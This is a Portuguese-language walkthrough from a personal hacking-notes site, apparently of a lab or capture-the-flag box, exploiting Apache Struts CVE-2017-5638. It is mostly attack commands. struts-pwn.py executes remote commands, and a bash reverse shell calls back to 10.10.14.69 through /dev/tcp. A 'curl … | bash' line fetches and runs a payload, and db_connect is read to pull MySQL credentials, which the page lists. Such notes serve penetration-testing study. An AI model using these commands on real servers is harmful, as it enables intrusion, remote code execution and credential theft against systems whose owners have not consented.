> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/apache-struts-exploitation-.action.md).
# Apache Struts
Exploração de RCE da CVE-2017-5638 do Apache Struts, execução de comandos, tentativas de reverse shell e notas de extração de credenciais.
## Exploração do Apache Struts (CVE-2017-5638)
#### **Monitoramento da enumeração de diretórios**
Durante o cadastro, a aplicação retorna um erro. O `.action` a extensão sugere uma aplicação Apache Struts.
{% embed url="" %}
Use `struts-pwn.py` para testar a execução remota de comandos:
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```
O comando funciona, confirmando a vulnerabilidade.
#### **Shell reversa**
1. Configure um listener do Netcat:
```bash
nc -nvlp 443
```
2. Crie um `index.html` arquivo contendo a shell reversa:
```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```
3. Hospede o arquivo com um servidor web Python:
```
python3 -m http.server 8080
```
4. Execute a shell reversa por meio do exploit:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```
{% endcode %}
Infelizmente, essa abordagem falha.
### **Extração de informações sensíveis**
Liste os arquivos no servidor:
O `db_connect` arquivo contém credenciais:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```
{% endcode %}
Credenciais do MySQL recuperadas:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```
{% endcode %}
* usuário: ssn/\_admin / admin
* senha=AWs64\@on/\*& / admin
### Extração de informações - mysqlshow
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